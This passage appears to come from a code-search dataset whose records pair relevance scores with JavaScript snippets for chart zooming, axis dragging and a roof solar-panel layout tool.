{\n\t var x1 = Math.max(0, Math.min(pw, dx0 + x0)),\n\t y1 = Math.max(0, Math.min(ph, dy0 + y0)),\n\t dx = Math.abs(x1 - x0),\n\t dy = Math.abs(y1 - y0),\n\t clen = Math.floor(Math.min(dy, dx, MINZOOM) / 2);\n\n\t box.l = Math.min(x0, x1);\n\t box.r = Math.max(x0, x1);\n\t box.t = Math.min(y0, y1);\n\t box.b = Math.max(y0, y1);\n\n\t // look for small drags in one direction or the other,\n\t // and only drag the other axis\n\t if(!yActive || dy < Math.min(Math.max(dx * 0.6, MINDRAG), MINZOOM)) {\n\t if(dx < MINDRAG) {\n\t zoomMode = '';\n\t box.r = box.l;\n\t box.t = box.b;\n\t corners.attr('d', 'M0,0Z');\n\t }\n\t else {\n\t box.t = 0;\n\t box.b = ph;\n\t zoomMode = 'x';\n\t corners.attr('d',\n\t 'M' + (box.l - 0.5) + ',' + (y0 - MINZOOM - 0.5) +\n\t 'h-3v' + (2 * MINZOOM + 1) + 'h3ZM' +\n\t (box.r + 0.5) + ',' + (y0 - MINZOOM - 0.5) +\n\t 'h3v' + (2 * MINZOOM + 1) + 'h-3Z');\n\t }\n\t }\n\t else if(!xActive || dx < Math.min(dy * 0.6, MINZOOM)) {\n\t box.l = 0;\n\t box.r = pw;\n\t zoomMode = 'y';\n\t corners.attr('d',\n\t 'M' + (x0 - MINZOOM - 0.5) + ',' + (box.t - 0.5) +\n\t 'v-3h' + (2 * MINZOOM + 1) + 'v3ZM' +\n\t (x0 - MINZOOM - 0.5) + ',' + (box.b + 0.5) +\n\t 'v3h' + (2 * MINZOOM + 1) + 'v-3Z');\n\t }\n\t else {\n\t zoomMode = 'xy';\n\t corners.attr('d',\n\t 'M'+(box.l-3.5)+','+(box.t-0.5+clen)+'h3v'+(-clen)+\n\t 'h'+clen+'v-3h-'+(clen+3)+'ZM'+\n\t (box.r+3.5)+','+(box.t-0.5+clen)+'h-3v'+(-clen)+\n\t 'h'+(-clen)+'v-3h'+(clen+3)+'ZM'+\n\t (box.r+3.5)+','+(box.b+0.5-clen)+'h-3v'+clen+\n\t 'h'+(-clen)+'v3h'+(clen+3)+'ZM'+\n\t (box.l-3.5)+','+(box.b+0.5-clen)+'h3v'+clen+\n\t 'h'+clen+'v3h-'+(clen+3)+'Z');\n\t }\n\t box.w = box.r - box.l;\n\t box.h = box.b - box.t;\n\n\t // Not sure about the addition of window.scrollX/Y...\n\t // seems to work but doesn't seem robust.\n\t zb.attr('d',\n\t path0+'M'+(box.l)+','+(box.t)+'v'+(box.h)+\n\t 'h'+(box.w)+'v-'+(box.h)+'h-'+(box.w)+'Z');\n\t if(!dimmed) {\n\t zb.transition()\n\t .style('fill', lum>0.2 ? 'rgba(0,0,0,0.4)' :\n\t 'rgba(255,255,255,0.3)')\n\t .duration(200);\n\t corners.transition()\n\t .style('opacity',1)\n\t .duration(200);\n\t dimmed = true;\n\t }\n\t }\n\n\t function zoomAxRanges(axList, r0Fraction, r1Fraction) {\n\t var i,\n\t axi,\n\t axRange;\n\n\t for(i = 0; i < axList.length; i++) {\n\t axi = axList[i];\n\t if(axi.fixedrange) continue;\n\n\t axRange = axi.range;\n\t axi.range = [\n\t axRange[0] + (axRange[1] - axRange[0]) * r0Fraction,\n\t axRange[0] + (axRange[1] - axRange[0]) * r1Fraction\n\t ];\n\t }\n\t }\n\n\t function zoomDone(dragged, numClicks) {\n\t if(Math.min(box.h, box.w) < MINDRAG * 2) {\n\t if(numClicks === 2) doubleClick();\n\t else pauseForDrag(gd);\n\n\t return removeZoombox(gd);\n\t }\n\n\t if(zoomMode === 'xy' || zoomMode === 'x') zoomAxRanges(xa, box.l / pw, box.r / pw);\n\t if(zoomMode === 'xy' || zoomMode === 'y') zoomAxRanges(ya, (ph - box.b) / ph, (ph - box.t) / ph);\n\n\t removeZoombox(gd);\n\t dragTail(zoomMode);\n\n\t if(SHOWZOOMOUTTIP && gd.data && gd._context.showTips) {\n\t Plotly.Lib.notifier('Double-click to<br>zoom back out','long');\n\t SHOWZOOMOUTTIP = false;\n\t }\n\t }\n\n\t function dragDone(dragged, numClicks) {\n\t var singleEnd = (ns + ew).length === 1;\n\t if(dragged) dragTail();\n\t else if(numClicks === 2 && !singleEnd) doubleClick();\n\t else if(numClicks === 1 && singleEnd) {\n\t var ax = ns ? ya[0] : xa[0],\n\t end = (ns==='s' || ew==='w') ? 0 : 1,\n\t attrStr = ax._name + '.range[' + end + ']',\n\t initialText = getEndText(ax, end),\n\t hAlign = 'left',\n\t vAlign = 'middle';\n\n\t if(ax.fixedrange) return;\n\n\t if(ns) {\n\t vAlign = (ns === 'n') ? 'top' : 'bottom';\n\t if(ax.side === 'right') hAlign = 'right';\n\t }\n\t else if(ew === 'e') hAlign = 'right';\n\n\t dragger3\n\t .call(Plotly.util.makeEditable, null, {\n\t immediate: true,\n\t background: fullLayout.paper_bgcolor,\n\t text: String(initialText),\n\t fill: ax.tickfont ? ax.tickfont.color : '#444',\n\t horizontalAlign: hAlign,\n\t verticalAlign: vAlign\n\t })\n\t .on('edit', function(text) {\n\t var v = ax.type==='category' ? ax.c2l(text) : ax.d2l(text);\n\t if(v !== undefined) {\n\t Plotly.relayout(gd, attrStr, v);\n\t }\n\t });\n\t }\n\t else pauseForDrag(gd);\n\t }\n\n\t // scroll zoom, on all draggers except corners\n\t var scrollViewBox = [0,0,pw,ph],\n\t // wait a little after scrolling before redrawing\n\t redrawTimer = null,\n\t REDRAWDELAY = 300,\n\t mainplot = plotinfo.mainplot ?\n\t fullLayout._plots[plotinfo.mainplot] : plotinfo;\n\n\t function zoomWheel(e) {\n\t // deactivate mousewheel scrolling on embedded graphs\n\t // devs can override this with layout._enablescrollzoom,\n\t // but _ ensures this setting won't leave their page\n\t if(!gd._context.scrollZoom && !fullLayout._enablescrollzoom) {\n\t return;\n\t }\n\t var pc = gd.querySelector('.plotly');\n\n\t // if the plot has scrollbars (more than a tiny excess)\n\t // disable scrollzoom too.\n\t if(pc.scrollHeight-pc.clientHeight>10 ||\n\t pc.scrollWidth-pc.clientWidth>10) {\n\t return;\n\t }\n\n\t clearTimeout(redrawTimer);\n\n\t var wheelDelta = -e.deltaY;\n\t if(!isFinite(wheelDelta)) wheelDelta = e.wheelDelta / 10;\n\t if(!isFinite(wheelDelta)) {\n\t console.log('did not find wheel motion attributes', e);\n\t return;\n\t }\n\n\t var zoom = Math.exp(-Math.min(Math.max(wheelDelta, -20), 20) / 100),\n\t gbb = mainplot.draglayer.select('.nsewdrag')\n\t .node().getBoundingClientRect(),\n\t xfrac = (e.clientX - gbb.left) / gbb.width,\n\t vbx0 = scrollViewBox[0] + scrollViewBox[2]*xfrac,\n\t yfrac = (gbb.bottom - e.clientY)/gbb.height,\n\t vby0 = scrollViewBox[1]+scrollViewBox[3]*(1-yfrac),\n\t i;\n\n\t function zoomWheelOneAxis(ax, centerFraction, zoom) {\n\t if(ax.fixedrange) return;\n\t forceNumbers(ax.range);\n\t var axRange = ax.range,\n\t v0 = axRange[0] + (axRange[1] - axRange[0]) * centerFraction;\n\t ax.range = [v0 + (axRange[0] - v0) * zoom, v0 + (axRange[1] - v0) * zoom];\n\t }\n\n\t if(ew) {\n\t for(i = 0; i < xa.length; i++) zoomWheelOneAxis(xa[i], xfrac, zoom);\n\t scrollViewBox[2] *= zoom;\n\t scrollViewBox[0] = vbx0 - scrollViewBox[2] * xfrac;\n\t }\n\t if(ns) {\n\t for(i = 0; i < ya.length; i++) zoomWheelOneAxis(ya[i], yfrac, zoom);\n\t scrollViewBox[3] *= zoom;\n\t scrollViewBox[1] = vby0 - scrollViewBox[3] * (1 - yfrac);\n\t }\n\n\t // viewbox redraw at first\n\t updateViewBoxes(scrollViewBox);\n\t ticksAndAnnotations(ns,ew);\n\n\t // then replot after a delay to make sure\n\t // no more scrolling is coming\n\t redrawTimer = setTimeout(function(){\n\t scrollViewBox = [0,0,pw,ph];\n\t dragTail();\n\t }, REDRAWDELAY);\n\n\t return Plotly.Lib.pauseEvent(e);\n\t }\n\n\t // everything but the corners gets wheel zoom\n\t if(ns.length*ew.length!==1) {\n\t // still seems to be some confusion about onwheel vs onmousewheel...\n\t if(dragger.onwheel!==undefined) dragger.onwheel = zoomWheel;\n\t else if(dragger.onmousewheel!==undefined) dragger.onmousewheel = zoomWheel;\n\t }\n\n\t // plotDrag: move the plot in response to a drag\n\t function plotDrag(dx,dy) {\n\t function dragAxList(axList, pix) {\n\t for(var i = 0; i < axList.length; i++) {\n\t var axi = axList[i];\n\t if(!axi.fixedrange) {\n\t axi.range = [axi._r[0] - pix / axi._m, axi._r[1] - pix / axi._m];\n\t }\n\t }\n\t }\n\n\t if(xActive === 'ew' || yActive === 'ns') {\n\t if(xActive) dragAxList(xa, dx);\n\t if(yActive) dragAxList(ya, dy);\n\t updateViewBoxes([xActive ? -dx : 0, yActive ? -dy : 0, pw, ph]);\n\t ticksAndAnnotations(yActive, xActive);\n\t return;\n\t }\n\n\t // common transform for dragging one end of an axis\n\t // d>0 is compressing scale (cursor is over the plot,\n\t // the axis end should move with the cursor)\n\t // d<0 is expanding (cursor is off the plot, axis end moves\n\t // nonlinearly so you can expand far)\n\t function dZoom(d) {\n\t return 1-((d>=0) ? Math.min(d,0.9) :\n\t 1/(1/Math.max(d,-0.3)+3.222));\n\t }\n\n\t // dz: set a new value for one end (0 or 1) of an axis array ax,\n\t // and return a pixel shift for that end for the viewbox\n\t // based on pixel drag distance d\n\t // TODO: this makes (generally non-fatal) errors when you get\n\t // near floating point limits\n\t function dz(ax, end, d) {\n\t var otherEnd = 1 - end,\n\t movedi = 0;\n\t for(var i = 0; i < ax.length; i++) {\n\t var axi = ax[i];\n\t if(axi.fixedrange) continue;\n\t movedi = i;\n\t axi.range[end] = axi._r[otherEnd] +\n\t (axi._r[end] - axi._r[otherEnd]) / dZoom(d / axi._length);\n\t }\n\t return ax[movedi]._length * (ax[movedi]._r[end] - ax[movedi].range[end]) /\n\t (ax[movedi]._r[end] - ax[movedi]._r[otherEnd]);\n\t }\n\n\t if(xActive === 'w') dx = dz(xa, 0, dx);\n\t else if(xActive === 'e') dx = dz(xa, 1, -dx);\n\t else if(!xActive) dx = 0;\n\n\t if(yActive === 'n') dy = dz(ya, 1, dy);\n\t else if(yActive === 's') dy = dz(ya, 0, -dy);\n\t else if(!yActive) dy = 0;\n\n\t updateViewBoxes([\n\t (xActive === 'w') ? dx : 0,\n\t (yActive === 'n') ? dy : 0,\n\t pw - dx,\n\t ph - dy\n\t ]);\n\t ticksAndAnnotations(yActive, xActive);\n\t }\n\n\t function ticksAndAnnotations(ns, ew){\n\t var activeAxIds = [],\n\t i;\n\n\t function pushActiveAxIds(axList) {\n\t for(i = 0; i < axList.length; i++) {\n\t if(!axList[i].fixedrange) activeAxIds.push(axList[i]._id);\n\t }\n\t }\n\n\t if(ew) pushActiveAxIds(xa);\n\t if(ns) pushActiveAxIds(ya);\n\n\t for(i = 0; i < activeAxIds.length; i++) {\n\t Plotly.Axes.doTicks(gd, activeAxIds[i], true);\n\t }\n\n\t function redrawObjs(objArray, module) {\n\t var obji;\n\t for(i = 0; i < objArray.length; i++) {\n\t obji = objArray[i];\n\t if((ew && activeAxIds.indexOf(obji.xref) !== -1) ||\n\t (ns && activeAxIds.indexOf(obji.yref) !== -1)) {\n\t module.draw(gd, i);\n\t }\n\t }\n\t }\n\n\t redrawObjs(fullLayout.annotations || [], Plotly.Annotations);\n\t redrawObjs(fullLayout.shapes || [], Plotly.Shapes);\n\t }\n\n\t function doubleClick() {\n\t var doubleClickConfig = gd._context.doubleClick,\n\t axList = (xActive ? xa : []).concat(yActive ? ya : []),\n\t attrs = {};\n\n\t var ax, i;\n\n\t if(doubleClickConfig === 'autosize') {\n\t for(i = 0; i < axList.length; i++) {\n\t ax = axList[i];\n\t if(!ax.fixedrange) attrs[ax._name + '.autorange'] = true;\n\t }\n\t }\n\t else if(doubleClickConfig === 'reset') {\n\t for(i = 0; i < axList.length; i++) {\n\t ax = axList[i];\n\n\t if(!ax._rangeInitial) {\n\t attrs[ax._name + '.autorange'] = true;\n\t }\n\t else {\n\t attrs[ax._name + '.range'] = ax._rangeInitial.slice();\n\t }\n\t }\n\t }\n\t else if(doubleClickConfig === 'reset+autosize') {\n\t for(i = 0; i < axList.length; i++) {\n\t ax = axList[i];\n\n\t if(ax.fixedrange) continue;\n\t if(ax._rangeInitial === undefined ||\n\t ax.range[0] === ax._rangeInitial[0] &&\n\t ax.range[1] === ax._rangeInitial[1]\n\t ) {\n\t attrs[ax._name + '.autorange'] = true;\n\t }\n\t else attrs[ax._name + '.range'] = ax._rangeInitial.slice();\n\t }\n\t }\n\n\t gd.emit('plotly_doubleclick', null);\n\t Plotly.relayout(gd, attrs);\n\t }\n\n\t // dragTail - finish a drag event with a redraw\n\t function dragTail(zoommode) {\n\t var attrs = {};\n\t // revert to the previous axis settings, then apply the new ones\n\t // through relayout - this lets relayout manage undo/redo\n\t for(var i = 0; i < allaxes.length; i++) {\n\t var axi = allaxes[i];\n\t if(zoommode && zoommode.indexOf(axi._id.charAt(0))===-1) {\n\t continue;\n\t }\n\t if(axi._r[0] !== axi.range[0]) attrs[axi._name+'.range[0]'] = axi.range[0];\n\t if(axi._r[1] !== axi.range[1]) attrs[axi._name+'.range[1]'] = axi.range[1];\n\n\t axi.range=axi._r.slice();\n\t }\n\n\t updateViewBoxes([0,0,pw,ph]);\n\t Plotly.relayout(gd,attrs);\n\t }\n\n\t // updateViewBoxes - find all plot viewboxes that should be\n\t // affected by this drag, and update them. look for all plots\n\t // sharing an affected axis (including the one being dragged)\n\t function updateViewBoxes(viewBox) {\n\t var plotinfos = fullLayout._plots,\n\t subplots = Object.keys(plotinfos),\n\t i,\n\t plotinfo2,\n\t xa2,\n\t ya2,\n\t editX,\n\t editY;\n\n\t for(i = 0; i < subplots.length; i++) {\n\t plotinfo2 = plotinfos[subplots[i]];\n\t xa2 = plotinfo2.x();\n\t ya2 = plotinfo2.y();\n\t editX = ew && xa.indexOf(xa2)!==-1 && !xa2.fixedrange;\n\t editY = ns && ya.indexOf(ya2)!==-1 && !ya2.fixedrange;\n\n\t if(editX || editY) {\n\t var newVB = [0,0,xa2._length,ya2._length];\n\t if(editX) {\n\t newVB[0] = viewBox[0];\n\t newVB[2] = viewBox[2];\n\t }\n\t if(editY) {\n\t newVB[1] = viewBox[1];\n\t newVB[3] = viewBox[3];\n\t }\n\t plotinfo2.plot.attr('viewBox',newVB.join(' '));\n\t }\n\t }\n\t }\n\n\t return dragger;\n\t}", "title": "" }, { "docid": "c48658dd02595677ddab3651dbb65fee", "score": "0.50658405", "text": "shiftAdd(data) {\n const shiftSize = data.length;\n for (let i = 0; i < this.numPoints - shiftSize; i++) {\n this.setY(i, this.getY(i + shiftSize));\n }\n for (let i = 0; i < shiftSize; i++) {\n this.setY(i + this.numPoints - shiftSize, data[i]);\n }\n }", "title": "" }, { "docid": "25e974dd68be393ddd5faf23845fb204", "score": "0.506169", "text": "function dragged(d) {\n var move = +x.invert(d3.event.x) - x.invert(d3.event.x - d3.event.dx);\n xRange = [\n new Date(+xRange[0] - move),\n new Date(+xRange[1] - move)\n ];\n zooming = true;\n followViewSeconds = false;\n plotAxis();\n zooming = false;\n }", "title": "" }, { "docid": "a89b7829d6002de5e38732807f37cf55", "score": "0.50542253", "text": "#adjustValue(dy) {\n const domHeight = this.board.svgDom.height();\n const limitBottom = domHeight - domHeight / this.vRatio;\n let newY = this.vY + dy;\n\n newY = Math.max(0, newY);\n newY = Math.min(limitBottom, newY);\n\n return newY;\n }", "title": "" }, { "docid": "22927301f13a3d99387f2fd66b87d61e", "score": "0.5054088", "text": "function resetAxis(axis, originAxis) {\n axis.min = originAxis.min;\n axis.max = originAxis.max;\n}", "title": "" }, { "docid": "22927301f13a3d99387f2fd66b87d61e", "score": "0.5054088", "text": "function resetAxis(axis, originAxis) {\n axis.min = originAxis.min;\n axis.max = originAxis.max;\n}", "title": "" }, { "docid": "22927301f13a3d99387f2fd66b87d61e", "score": "0.5054088", "text": "function resetAxis(axis, originAxis) {\n axis.min = originAxis.min;\n axis.max = originAxis.max;\n}", "title": "" }, { "docid": "7181f339fb899bcc7ab663daf27991d6", "score": "0.5028433", "text": "function shiftArrayVert(val)\n{\n // Figure out how many pixels to shift\n <?php if(COUNTRY_CANADA == COUNTRY || COUNTRY_UK == COUNTRY) { ?>\n topVal = inch*val*<?php echo INCHES_PER_METER; ?>;\n <?php } else { ?>\n topVal = inch*ft2in(val);\n <?php } ?>\n moveModulesVert(topVal);\n}\n\nfunction shiftArrayRight(val)\n{\n val = parseFloat(val);\n val += 1.1;\n // Get the right offset + array width and\n // subtract them from the width of the roof.\n leftVal = roofWidthFT - val - arrayWidthFT;\n $(\"#xOffset\").val(leftVal);\n shiftArrayHoriz(leftVal);\n}\n\nfunction shiftArrayBottom(val)\n{\n val = parseFloat(val);\n val += 0.019422573;\n val -= 0.000000000821635;\n\n // Get the right offset + array width and\n // subtract them from the width of the roof.\n topVal = roofHeightFT - val - arrayHeightFT;\n $(\"#yOffset\").val(topVal);\n shiftArrayVert(topVal); \n}\n\nfunction ft2in(f)\n{\n return f*12;\n}\n\nfunction px2units(p)\n{\n <?php if(COUNTRY_CANADA == COUNTRY || COUNTRY_UK == COUNTRY) { ?>\n return p/inch/39.3701; // Meters\n <?php } else { ?>\n return p/inch/12;\n <?php } ?>\n}\n\nfunction convertMousePosition(x, y)\n{\n x = px2units(x);\n y = px2units(y);\n \n x *= 10;\n y *= 10;\n \n x = Math.round(x);\n y = Math.round(y)\n\n x /= 10;\n y /= 10;\n \n <?php if(COUNTRY_CANADA == COUNTRY || COUNTRY_UK == COUNTRY) { ?>\n return { x: x, y: y, units: 'm'};\n <?php } else { ?>\n return { x: x, y: y, units: 'ft'};\n <?php } ?>\n}\n\nfunction updateLayout(panel)\n{\n if(panel.hasClass('transparent'))\n val = 0;\n else\n val = 1;\n\n id=panel.attr('id');\n row = id.substr(id.indexOf(\"_\")+1);\n col = parseInt(row.substr(row.indexOf(\"_\")+1));\n row = parseInt(row.substr(0,row.indexOf(\"_\")));\n index = (total_cols*row)+col;\n layout[index] = val;\n $('#layout').val( layout.join(',') );\n}\n\nfunction updateArrows(x, y)\n{\n paddingLeft = x;\n if(paddingLeft < 0)\n paddingLeft=0;\n else if(paddingLeft > maxXOffset)\n paddingLeft = maxXOffset;\n \n paddingLeft += 10;\n \n offsetX = paddingLeft;\n offsetX2 = roofWidth - (offsetX + arrayWidth);\n \n if(paddingLeft > 20)\n paddingLeft = paddingLeft - 20;\n \n paddingRight = offsetX2;\n if(paddingRight > 20)\n paddingRight = paddingRight - 20;\n\n paddingTop = y;\n if(paddingTop < 0)\n paddingTop=0;\n else if(paddingTop > maxYOffset)\n paddingTop = maxYOffset;\n \n offsetY = paddingTop;\n offsetY2 = roofHeight - (offsetY + arrayHeight);\n \n if(paddingTop > 20)\n paddingTop = paddingTop - 20;\n \n paddingBottom = offsetY2;\n if(paddingBottom > 20)\n paddingBottom = paddingBottom - 20;\n\n $(\"#nw_input\").css(\"top\",\"-\"+offsetY+\"px\");\n $(\"#nw_input\").css(\"paddingTop\",paddingTop+\"px\");\n \n $(\"#wn_input\").css(\"left\",\"-\"+offsetX+\"px\");\n $(\"#wn_input\").css(\"paddingLeft\",paddingLeft+\"px\");\n \n $(\"#se_input\").css(\"bottom\",\"-\"+offsetY2+\"px\");\n $(\"#se_input\").css(\"paddingBottom\",paddingBottom+\"px\");\n\n $(\"#es_input\").css(\"right\",\"-\"+offsetX2+\"px\");\n $(\"#es_input\").css(\"paddingRight\",paddingRight+\"px\");\n}\n\nfunction checkZones()\n{\n pos = $('#arrayContainer').position();\n pos.right = pos.left + $('#arrayContainer').width()+1;\n pos.bottom = pos.top + $('#arrayContainer').height();\n nwCorner = $('.zone.nw');\n neCorner = $('.zone.ne');\n wExterior = $('.zone.w');\n seCorner = $('.zone.se');\n sePos = seCorner.position();\n \n // For gable roofs, x1=x2 and x3=x4\n // For mono roofs, the values are all different.\n x1 = nwCorner.width();\n x2 = wExterior.width();\n x3 = neCorner.position().left;\n x4 = sePos.left;\n\n y1 = nwCorner.height();\n y2 = sePos.top;\n \n \n if(pos.top == y1 || pos.top+1 == y1 || pos.top-1 == y1)\n {\n console.info('Snapping to the top');\n $(\"#nw_input\").val(topZoneY);\n shiftArrayVert(topZoneY);\n }\n else if(pos.bottom == y2 || pos.bottom+1 == y2 || pos.bottom-1 == y2)\n {\n console.info('Snapping to the bottom');\n $(\"#nw_input\").val(bottomZoneY);\n shiftArrayVert(bottomZoneY);\n }\n\n\n if(pos.left == x1 || pos.left+1 == x1 || pos.left-1 == x1)\n {\n $(\"#wn_input\").val(leftZoneX1);\n shiftArrayHoriz(leftZoneX1);\n }\n else if(pos.left == x2 || pos.left+1 == x2 || pos.left-1 == x2)\n {\n $(\"#wn_input\").val(leftZoneX2);\n shiftArrayHoriz(leftZoneX2);\n }\n else if(pos.right == x3 || pos.right+1 == x3 || pos.right-1 == x3)\n {\n $(\"#wn_input\").val(rightZoneX1);\n shiftArrayHoriz(rightZoneX1);\n }\n else if(pos.right == x4 || pos.right+1 == x4 || pos.right-1 == x4)\n {\n $(\"#wn_input\").val(rightZoneX2);\n shiftArrayHoriz(rightZoneX2);\n }\n}", "title": "" }, { "docid": "349dc9df81b89695c970b4f5bdd4c60f", "score": "0.5022517", "text": "shiftAdd(data) {\n const shiftSize = data.length;\n for (let i = 0; i < this.numPoints - shiftSize; i++) {\n this.setY(i, this.getY(i + shiftSize));\n }\n for (let i = 0; i < shiftSize; i++) {\n this.setY(i + this.numPoints - shiftSize, data[i]);\n }\n }", "title": "" }, { "docid": "624b9f17f3a0da44b49b1058a6c5425c", "score": "0.49686563", "text": "setOffset() {\n this.baseOffsetY = this.ref.current.offsetTop + this.ref.current.offsetHeight/2;\n this.baseOffsetX = this.ref.current.offsetLeft + this.ref.current.offsetWidth/2 + (this.state.baseTransformX * 16);\n }", "title": "" }, { "docid": "0054c1e26b6be3ea971cc156d4b797e5", "score": "0.49676576", "text": "__init12() {this.offsetScaleY = 0;}", "title": "" }, { "docid": "fabeef205961fcf9969e7557be6bfa21", "score": "0.4967356", "text": "function removeAxisDelta(axis, translate, scale, origin, boxScale) {\n if (translate === void 0) { translate = 0; }\n if (scale === void 0) { scale = 1; }\n if (origin === void 0) { origin = 0.5; }\n var originPoint = Object(_popmotion_popcorn__WEBPACK_IMPORTED_MODULE_2__[\"mix\"])(axis.min, axis.max, origin) - translate;\n axis.min = removePointDelta(axis.min, translate, scale, originPoint, boxScale);\n axis.max = removePointDelta(axis.max, translate, scale, originPoint, boxScale);\n}", "title": "" }, { "docid": "22b5a6a11f51bad5a84fb7c6074c26cb", "score": "0.4931943", "text": "function removeAxisDelta(axis, translate, scale, origin, boxScale) {\n if (translate === void 0) { translate = 0; }\n if (scale === void 0) { scale = 1; }\n if (origin === void 0) { origin = 0.5; }\n var originPoint = Object(popmotion__WEBPACK_IMPORTED_MODULE_2__[\"mix\"])(axis.min, axis.max, origin) - translate;\n axis.min = removePointDelta(axis.min, translate, scale, originPoint, boxScale);\n axis.max = removePointDelta(axis.max, translate, scale, originPoint, boxScale);\n}", "title": "" }, { "docid": "22b5a6a11f51bad5a84fb7c6074c26cb", "score": "0.4931943", "text": "function removeAxisDelta(axis, translate, scale, origin, boxScale) {\n if (translate === void 0) { translate = 0; }\n if (scale === void 0) { scale = 1; }\n if (origin === void 0) { origin = 0.5; }\n var originPoint = Object(popmotion__WEBPACK_IMPORTED_MODULE_2__[\"mix\"])(axis.min, axis.max, origin) - translate;\n axis.min = removePointDelta(axis.min, translate, scale, originPoint, boxScale);\n axis.max = removePointDelta(axis.max, translate, scale, originPoint, boxScale);\n}", "title": "" }, { "docid": "ee9297abff0d588fcf3dbc47a1dbf0f2", "score": "0.48932737", "text": "function setXY(e, data) {\n const rect = box(data.svg);\n\n // New pixel position of control, compensating for initial\n // mousedown offset on the control\n const px = e.clientX - rect.left - data.offset.x;\n const py = e.clientY - rect.top - data.offset.y;\n\n // Normalise to 0-1, allowing x position to extend beyond viewbox\n const rx = clamp(0, 4, px / rect.height);\n const ry = clamp(0, 1, py / rect.height);\n\n // Assume viewbox is always full height, use box height as scale\n data.x = data.viewbox[0] + rx * data.viewbox[3];\n data.y = data.viewbox[1] + ry * data.viewbox[3];\n}", "title": "" }, { "docid": "abb395c29ee56f8f839a72d69236e7eb", "score": "0.48889652", "text": "function shiftcoordinates() {\r\n for (var i = 0; i < 15; i++) {\r\n if (sampleMatrix[i][0] != 0) {\r\n sampleMatrix[i][1] = sampleMatrix[i][1] - avgbx;\r\n sampleMatrix[i][2] = sampleMatrix[i][2] - avgby;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "3b07ccc50350579325ac158766c71704", "score": "0.48559853", "text": "function updateLayerPosition() {\n layers.each(function eachLayer() {\n const depth = this.dataset.depth | 0;\n const shiftValue = -(shiftMax * shiftPercentage * depth * dampening) | 0;\n\n if (shiftValue < 0) {\n this.style.marginLeft = `${shiftValue}px`;\n }\n });\n }", "title": "" }, { "docid": "61b21093cfde2344b1483ad35cd6249b", "score": "0.4846632", "text": "__init11() {this.offsetScaleX = 0;}", "title": "" }, { "docid": "f92b5aceb27f67db603369c7b1dbdb71", "score": "0.48355147", "text": "function updateLayerShift() {\n if (maxWidth > width && width > minWidth) {\n shiftPercentage = (((maxWidth - width) * 100) / maxDifference) | 0;\n shiftPercentage /= 100;\n }\n\n if (shiftPercentage <= 0.1) {\n shiftPercentage = 0;\n }\n }", "title": "" }, { "docid": "4295bcdd526543651f93eac522dcd58e", "score": "0.48183277", "text": "function handleLeft(a){\n options3.hAxis.viewWindow.min -= 1;\n options3.hAxis.viewWindow.max -= 1;\n chart3.draw(dataArray[1 - pointer], options3);\n \n options4.hAxis.viewWindow.min -= 1;\n options4.hAxis.viewWindow.max -= 1;\n chart4.draw(dataArray[1 - pointer], options4);\n}", "title": "" }, { "docid": "ac300362f9ae598fc8a1214e53af75f3", "score": "0.4812679", "text": "setOffset(x, y) {\n this.offSetX = x;\n this.offSetY = y;\n }", "title": "" }, { "docid": "72ae9575e0f598fbf099cc2238c89f15", "score": "0.48109776", "text": "function scaleAccel(val, offset, scalerArr) {\n\tif (val < 0) {\n\t\treturn -(val - offset) / (scalerArr[0] - offset);\n\t} else {\n\t\treturn (val - offset) / (scalerArr[1] - offset);\n\t}\n}", "title": "" }, { "docid": "2a45cc0dae92870613545c2b4e9ab5ed", "score": "0.47883564", "text": "function update(d) {\n var t = d.dim;\n filter[t].min = Math.max(y[t].domain()[0], y[t].invert(height - d.y - d.dy));\n filter[t].max = Math.min(y[t].domain()[1], y[t].invert(height - d.y));\n active = t;\n change.render();\n return false;\n }", "title": "" }, { "docid": "bf890030c67ed856ebd473bbecc315b5", "score": "0.4786606", "text": "function mouseDragged() {\n var sliderMax = width - offset - sliderW;\n if (mouseY >= barY & mouseY <= barY + barH) {\n sliderX = max(min(mouseX, sliderMax), barX);\n }\n\n}", "title": "" }, { "docid": "91f8277af28158e9f668f230ece6c2fd", "score": "0.47830263", "text": "function resize() {\n w.axis.setPosition(w.width / 2, w.height / 2);\n}", "title": "" }, { "docid": "91f8277af28158e9f668f230ece6c2fd", "score": "0.47830263", "text": "function resize() {\n w.axis.setPosition(w.width / 2, w.height / 2);\n}", "title": "" }, { "docid": "8c28f843b1efc03dd3397b274d9fd737", "score": "0.4778724", "text": "function copyAxisInto(axis, originAxis) {\n axis.min = originAxis.min;\n axis.max = originAxis.max;\n }", "title": "" }, { "docid": "188e979d52c9c73c469207d82e528465", "score": "0.47764608", "text": "function dragged(d) {\n let coordinateTuple= setDragBoundaries(d3.event.x,d3.event.y, d.width, d.height)\n d.fx = coordinateTuple[0]\n d.fy = coordinateTuple[1]\n }", "title": "" }, { "docid": "123edc5da97616d9760f58fa67fa6e3a", "score": "0.47639003", "text": "function shiftZAxis(gl, choice){\r\n gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);\r\n var increment = 0.1\r\n zShift += choice * increment\r\n drawAllCylinders(cylinderPoints, gl)\r\n}", "title": "" }, { "docid": "22f2ce61021fcd45956baf5db03bc305", "score": "0.4763762", "text": "function update_parameters(grid_size_x,grid_size_y) //this function is used for every iteration of OnFrame() and for every onMouseDrag() events\n {\n\n x_axis_ori=origo.y/grid_size_y;\n y_axis_ori=origo.x/grid_size_x;\n\n }", "title": "" }, { "docid": "a90fc3c3c0551df97777d6fb3b846962", "score": "0.47616747", "text": "function makeDragBox(gd, plotinfo, x, y, w, h, ns, ew) {\n // mouseDown stores ms of first mousedown event in the last\n // DBLCLICKDELAY ms on the drag bars\n // numClicks stores how many mousedowns have been seen\n // within DBLCLICKDELAY so we can check for click or doubleclick events\n // dragged stores whether a drag has occurred, so we don't have to\n // redraw unnecessarily, ie if no move bigger than MINDRAG or MINZOOM px\n var zoomlayer = gd._fullLayout._zoomlayer;\n var isMainDrag = ns + ew === 'nsew';\n var singleEnd = (ns + ew).length === 1;\n\n // main subplot x and y (i.e. found in plotinfo - the main ones)\n var xa0, ya0;\n // {ax._id: ax} hash objects\n var xaHash, yaHash;\n // xaHash/yaHash values (arrays)\n var xaxes, yaxes;\n // main axis offsets\n var xs, ys;\n // main axis lengths\n var pw, ph;\n // contains keys 'xaHash', 'yaHash', 'xaxes', and 'yaxes'\n // which are the x/y {ax._id: ax} hash objects and their values\n // for linked axis relative to this subplot\n var links;\n // set to ew/ns val when active, set to '' when inactive\n var xActive, yActive;\n // are all axes in this subplot are fixed?\n var allFixedRanges;\n // is subplot constrained?\n var isSubplotConstrained;\n // do we need to edit x/y 